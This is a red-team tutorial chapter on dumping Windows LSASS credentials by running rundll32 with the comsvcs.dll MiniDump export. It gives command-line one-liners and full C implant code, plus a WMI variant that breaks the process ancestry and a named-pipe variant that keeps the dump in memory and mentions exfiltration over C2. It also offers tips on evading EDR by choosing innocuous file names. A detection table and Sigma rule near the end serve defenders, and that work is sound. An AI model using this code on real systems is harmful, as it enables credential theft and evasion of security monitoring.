LSASS via comsvcs.dll MiniDump
The LOLBin path to credential dumping — using a Microsoft-signed system DLL to produce an LSASS dump without calling MiniDumpWriteDump from your own binary, avoiding the most common EDR hook surface
You have SYSTEM privileges on a compromised domain-joined workstation. You try running your direct MiniDumpWriteDump code from chapter 93 and it gets blocked immediately — the EDR has a userland hook on dbghelp.dll's MiniDumpWriteDump export that detects any non-Microsoft caller targeting lsass.exe and terminates the call. You need a different approach. Windows ships a DLL called comsvcs.dll that exports a function named MiniDump designed for COM+ debugging. That function internally calls MiniDumpWriteDump, but the call comes from rundll32.exe — a Microsoft-signed system binary the EDR has been tuned to trust. Your implant just has to pull the string that makes rundll32 do the work.
The LOLBin Logic — Why the EDR Cares Who Calls
EDRs don't have infinite budget for false positives. A hook on MiniDumpWriteDump that fires on every call from any process would generate thousands of false alerts daily — legitimate debuggers, crash reporters, WER (Windows Error Reporting), Visual Studio, and many other tools call MiniDumpWriteDump routinely. So most EDR vendors narrow the detection: block or alert when MiniDumpWriteDump is called with a handle to lsass.exe as the target process AND the calling process image is not from a trusted list of known-good dumpers (WerFault.exe, drwtsn32.exe, ProDump.exe from Sysinternals, etc.).
This is the exact gap the comsvcs technique exploits. rundll32.exe at C:\Windows\System32\rundll32.exe is signed by Microsoft, has a well-known good reputation in every trust database, and is expected to call arbitrary exports in DLLs for legitimate purposes. When the EDR sees rundll32.exe calling MiniDumpWriteDump targeting lsass, it needs to decide whether to alert — and many deployments don't, because the combination of rundll32 as caller plus lsass as target was not specifically tuned into the allowlist check. The result: the dump succeeds from a trusted binary while your implant never touches the sensitive API.
comsvcs.dll Internals
C:\Windows\System32\comsvcs.dll is the COM+ Services DLL. It ships with every Windows installation from XP onwards. Among its exports is an ordinal-24 function also accessible by the name MiniDump that was intended for dumping COM+ application processes for debugging. Its internal implementation is straightforward: it opens the target process, creates an output file, and delegates to dbgcore!MiniDumpWriteDump (on modern Windows) or dbghelp!MiniDumpWriteDump (on older builds).
| Property | Value |
|---|---|
| Full path | C:\Windows\System32\comsvcs.dll |
| Export name | MiniDump (also accessible as ordinal 24) |
| Signature | Void MiniDump(DWORD pid, LPCWSTR filePath, LPCWSTR options) |
| Options string | "full" produces a full memory dump; other values reduce scope |
| Internally calls | dbgcore.dll!MiniDumpWriteDump on Win10+; dbghelp.dll on older builds |
| Required privilege | SeDebugPrivilege (Administrators and SYSTEM have this by default) |
| LOLBin category | LOLBAS — Living Off the Land Binaries and Scripts (lolbas-project.github.io) |
The rundll32 calling convention for invoking a named DLL export is:
rundll32.exe <DLL path>,<ExportName> [arg1] [arg2] [arg3]
Note the comma with no space between the DLL path and the export name — this is a rundll32 syntax requirement. Arguments after the export name are passed as separate strings. For MiniDump, the three arguments are: process ID (decimal string), output file path, and mode string. All arguments are passed by rundll32 as a single wide string that comsvcs.dll's MiniDump parses internally.
Basic Command-Line Invocation
-- CMD / PowerShell (manual execution) --
; Step 1: find lsass PID
tasklist /FI "IMAGENAME eq lsass.exe" /FO CSV
; Step 2: dump (substitute actual PID)
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump 700 C:\Windows\Temp\debug.dmp full
-- PowerShell one-liner (resolves PID automatically) --
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass.dmp full
-- Notes --
The output file must be in a path writable by the SYSTEM account.
C:\Windows\Temp is typically writable.
The .dmp extension triggers some EDR file-write alerts; .bin works just as well.
The dump is a valid Windows minidump parseable by Mimikatz and pypykatz.
C Implementation — Trigger via CreateProcess with Full Error Handling
Your implant builds the rundll32 command line dynamically, resolves the LSASS PID via Toolhelp32, triggers the dump with CreateProcessA, waits for rundll32 to exit, then verifies the output file was created. Privilege enablement is included because an implant running as Administrator may have SeDebugPrivilege present in its token but disabled:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL EnableSeDebugPrivilege() {
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) {
CloseHandle(hToken); return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
return (GetLastError() == ERROR_SUCCESS);
}
DWORD GetLsassPid() {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
DWORD pid = 0;
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return pid;
}
BOOL DumpViaComsvcs(const char *outPath) {
EnableSeDebugPrivilege();
DWORD pid = GetLsassPid();
if (!pid) {
fprintf(stderr, "[-] Could not find lsass.exe\n");
return FALSE;
}
// Build: rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump PID PATH full
char cmdline[1024] = {0};
_snprintf_s(cmdline, sizeof(cmdline), _TRUNCATE,
"rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump %lu \"%s\" full",
pid, outPath);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (!CreateProcessA(NULL, cmdline, NULL, NULL,
FALSE, CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP,
NULL, NULL, &si, &pi)) {
fprintf(stderr, "[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
// Wait up to 20 seconds for rundll32 to finish
DWORD waitResult = WaitForSingleObject(pi.hProcess, 20000);
if (waitResult != WAIT_OBJECT_0)
fprintf(stderr, "[!] Warning: rundll32 did not finish in time\n");
DWORD exitCode = 0;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// Verify output file exists and has non-zero size
WIN32_FILE_ATTRIBUTE_DATA fa;
if (!GetFileAttributesExA(outPath, GetFileExInfoStandard, &fa)) {
fprintf(stderr, "[-] Output file not found: %s\n", outPath);
return FALSE;
}
DWORD fileSizeLo = fa.nFileSizeLow;
fprintf(stdout, "[+] Dump written: %s (%lu bytes)\n", outPath, fileSizeLo);
return TRUE;
}
int main() {
if (DumpViaComsvcs("C:\\Windows\\Temp\\debug001.bin"))
puts("[+] Success — parse offline with pypykatz or mimikatz");
else
puts("[-] Failed");
return 0;
}
Many EDR rules and YARA signatures specifically look for .dmp files created by unusual processes. Choosing a benign-looking name and extension (e.g., debug001.bin, tmp_heap.dat, werfault_0003.log) in C:\Windows\Temp\ reduces file-create alert fidelity. The file format is still a valid Windows minidump regardless of extension — pypykatz and Mimikatz both accept any file path, extension is irrelevant.
WMI Variant — Break the Process Ancestry Chain
If your implant directly calls CreateProcess to spawn rundll32, Sysmon EventID 1 will show the process ancestry: your_implant.exe → rundll32.exe → comsvcs.dll. A detection rule that looks for rundll32 spawned from unusual parents catches this. Breaking the ancestry via WMI makes rundll32's parent appear as WmiPrvSE.exe — a legitimate Windows system process:
#include <windows.h>
#include <objbase.h>
#include <wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
HRESULT WmiExecComsvcs(const WCHAR *cmdline) {
CoInitializeEx(0, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
IWbemLocator *loc = NULL;
IWbemServices *svc = NULL;
CoCreateInstance(&CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER,
&IID_IWbemLocator, (LPVOID*)&loc);
loc->vtbl->ConnectServer(loc, SysAllocString(L"ROOT\\CIMV2"),
NULL,NULL,NULL,0,NULL,NULL, &svc);
// Set security on proxy
CoSetProxyBlanket((IUnknown*)svc,
RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE);
IWbemClassObject *procClass = NULL, *inClass = NULL, *inInst = NULL;
BSTR wmiPath = SysAllocString(L"Win32_Process");
BSTR method = SysAllocString(L"Create");
svc->vtbl->GetObject(svc, wmiPath, 0, NULL, &procClass, NULL);
procClass->vtbl->GetMethod(procClass, method, 0, &inClass, NULL);
inClass->vtbl->SpawnInstance(inClass, 0, &inInst);
VARIANT varCmd;
varCmd.vt = VT_BSTR;
varCmd.bstrVal = SysAllocString(cmdline);
inInst->vtbl->Put(inInst, L"CommandLine", 0, &varCmd, 0);
IWbemClassObject *outInst = NULL;
HRESULT hr = svc->vtbl->ExecMethod(svc, wmiPath, method,
0, NULL, inInst, &outInst, NULL);
// cleanup omitted for brevity
return hr;
}
// Usage: build command line as wide string then call:
// WmiExecComsvcs(L"rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump 700 C:\\Windows\\Temp\\tmp.bin full");
// Process tree visible in Sysmon: WmiPrvSE.exe → rundll32.exe (your implant absent from ancestry)
Named Pipe Variant — Dump to Memory, No Disk Write
comsvcs.dll's MiniDump accepts any file path, including Windows named pipe paths of the form \\.\pipe\name. By creating a named pipe server in a background thread and passing its path as the output file, the dump data is streamed through the pipe directly into your process's memory — the dump never touches disk. This defeats disk-artifact-based detections and AV scan-on-write:
#include <windows.h>
#include <stdio.h>
#define PIPE_NAME "\\\\.\\pipe\\svchost_debug"
#define PIPE_NAME_W L"\\\\.\\pipe\\svchost_debug"
#define MAX_DUMP_SIZE (200 * 1024 * 1024) // 200 MB should be enough
typedef struct {
LPBYTE Buffer;
SIZE_T BytesRead;
BOOL Success;
} PIPE_READ_RESULT;
DWORD WINAPI PipeReaderThread(LPVOID param) {
PIPE_READ_RESULT *res = (PIPE_READ_RESULT *)param;
HANDLE pipe = CreateNamedPipeA(
PIPE_NAME,
PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
1, // max instances
0, // out buffer size
MAX_DUMP_SIZE,
0, // default timeout
NULL);
if (pipe == INVALID_HANDLE_VALUE) {
res->Success = FALSE; return 1;
}
res->Buffer = (LPBYTE)VirtualAlloc(NULL, MAX_DUMP_SIZE,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!res->Buffer) {
CloseHandle(pipe); res->Success = FALSE; return 2;
}
ConnectNamedPipe(pipe, NULL); // blocks until client connects
DWORD bytesRead = 0;
res->BytesRead = 0;
BOOL ok;
do {
ok = ReadFile(pipe,
res->Buffer + res->BytesRead,
MAX_DUMP_SIZE - (DWORD)res->BytesRead,
&bytesRead, NULL);
res->BytesRead += bytesRead;
} while (ok && bytesRead > 0);
CloseHandle(pipe);
res->Success = (res->BytesRead > 0);
return 0;
}
LPBYTE DumpLsassToPipe(DWORD pid, SIZE_T *dumpSize) {
PIPE_READ_RESULT res = {0};
// Start pipe server thread first
HANDLE thread = CreateThread(NULL, 0, PipeReaderThread, &res, 0, NULL);
Sleep(100); // give thread time to create the pipe before rundll32 writes to it
// Build command targeting the named pipe instead of a file path
char cmd[512];
_snprintf_s(cmd, sizeof(cmd), _TRUNCATE,
"rundll32.exe C:\\Windows\\System32\\comsvcs.dll,MiniDump %lu "
"\\\\.\\pipe\\svchost_debug full", pid);
STARTUPINFOA si = { .cb = sizeof(si), .dwFlags = STARTF_USESHOWWINDOW, .wShowWindow = SW_HIDE };
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 20000);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
WaitForSingleObject(thread, 5000);
CloseHandle(thread);
if (!res.Success || !res.Buffer) return NULL;
*dumpSize = res.BytesRead;
return res.Buffer; // caller must VirtualFree
}
int main() {
EnableSeDebugPrivilege();
DWORD pid = GetLsassPid();
SIZE_T sz = 0;
LPBYTE dump = DumpLsassToPipe(pid, &sz);
if (dump) {
printf("[+] Dump in memory: %zu bytes — first 4 bytes: %02X %02X %02X %02X\n",
sz, dump[0], dump[1], dump[2], dump[3]);
// First 4 bytes of a valid minidump = 4D 44 4D 50 ("MDMP")
// Now parse in-memory, exfil over C2, or write to encrypted container
VirtualFree(dump, 0, MEM_RELEASE);
} else
puts("[-] Pipe dump failed");
return 0;
}
Elevation Path — Getting SeDebugPrivilege from Admin Rights
Running as a standard Administrator does not automatically give an enabled SeDebugPrivilege — UAC token filtering strips it from the token for interactive processes even when the user is in the Administrators group. Before calling comsvcs.dll (whether directly or via rundll32), your implant must ensure it is running with a full, elevated token that has SeDebugPrivilege enabled. The privilege must be both present in the token and enabled:
Detection Landscape
| Detection Signal | Log Source | Event ID | Reliability |
|---|---|---|---|
| rundll32.exe with "comsvcs" in command line arguments | Sysmon / Security (4688 with command line audit) | 1 / 4688 | Very high — zero legitimate uses of this exact invocation |
| rundll32.exe opening a handle to lsass.exe | Sysmon ProcessAccess | 10 | High — GrantedAccess 0x1010, 0x1410, or 0x1FFFFF from rundll32 is anomalous |
| .dmp or .bin file created in Temp, Users, or ProgramData by rundll32 or WmiPrvSE | Sysmon FileCreate | 11 | Medium — correlate with prior lsass access within 30 seconds |
| rundll32.exe spawned from unusual parent (implant, cmd, powershell) | Sysmon ProcessCreate | 1 | Medium — WMI variant breaks this; parent becomes WmiPrvSE |
| Named pipe created with handle to lsass | Sysmon PipeCreate/PipeConnect | 17/18 | Medium — pipe-to-memory variant; pipe name is random each time |
| comsvcs.dll loaded by rundll32 not from System32 | Sysmon ImageLoad | 7 | High — DLL sideload variant (attacker copies comsvcs.dll elsewhere) |
Sigma Detection Rule
title: LSASS Dump via comsvcs.dll MiniDump
id: b3d34dc5-2d23-4b4f-8b4a-2e9c3f0f2c9a
status: stable
description: Detects credential dumping via comsvcs.dll MiniDump LOLBin technique
references:
- https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/
author: detection-engineering
date: 2024/01/01
logsource:
category: process_creation
product: windows
detection:
selection_cmd:
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
selection_alt:
CommandLine|contains: 'MiniDump'
Image|endswith: '\rundll32.exe'
condition: 1 of selection_*
falsepositives:
- Legitimate COM+ debugging by COM developers (extremely rare in production)
level: high
tags:
- attack.credential_access
- attack.t1003.001
Q&A
Does this technique work on Windows 11 with Credential Guard enabled?
Credential Guard (part of VBS) moves NTLM hashes and Kerberos tickets into a separate VSM (Virtual Secure Mode) process called LsaIso.exe running in VTL1. When Credential Guard is active, lsass.exe still exists and can still be dumped, but the dump contents will not contain plaintext credentials or even NTLM hashes for accounts that authenticated since Credential Guard was enabled. The dump will contain structures that point into VSM memory for the actual secrets, but those VSM regions are inaccessible even from lsass.exe itself — they reside in VTL1 which is isolated from the normal OS (VTL0). The bottom line: comsvcs.dll and all other LSASS dumping techniques become much less useful on Credential Guard-enabled systems. The dump succeeds but produces no usable credentials. You would need to pivot to other credential sources: SAM hive (local accounts only), DPAPI master keys, cached credentials in the registry (mscache2, limited), or credential manager blobs.
Can the named pipe variant be detected even if nothing hits disk?
Yes — named pipe creation and connection events are logged by Sysmon EventID 17 (PipeCreated) and EventID 18 (PipeConnected). A detection rule that correlates: (1) a named pipe created by process X, (2) rundll32.exe connecting to that pipe within seconds, (3) rundll32.exe having previously opened a handle to lsass — this three-event chain is a strong indicator regardless of whether anything hit disk. Additionally, ETW-TI (Event Tracing for Windows — Threat Intelligence) at the kernel level logs the lsass memory read operations even when no disk I/O occurs. Process memory scan capabilities in some EDRs (Sophos, CrowdStrike Falcon) can also detect the dump data in the reading process's memory before it is exfiltrated. The named pipe variant avoids disk-based AV scan-on-write detections but does not evade process-access monitoring or kernel-level telemetry.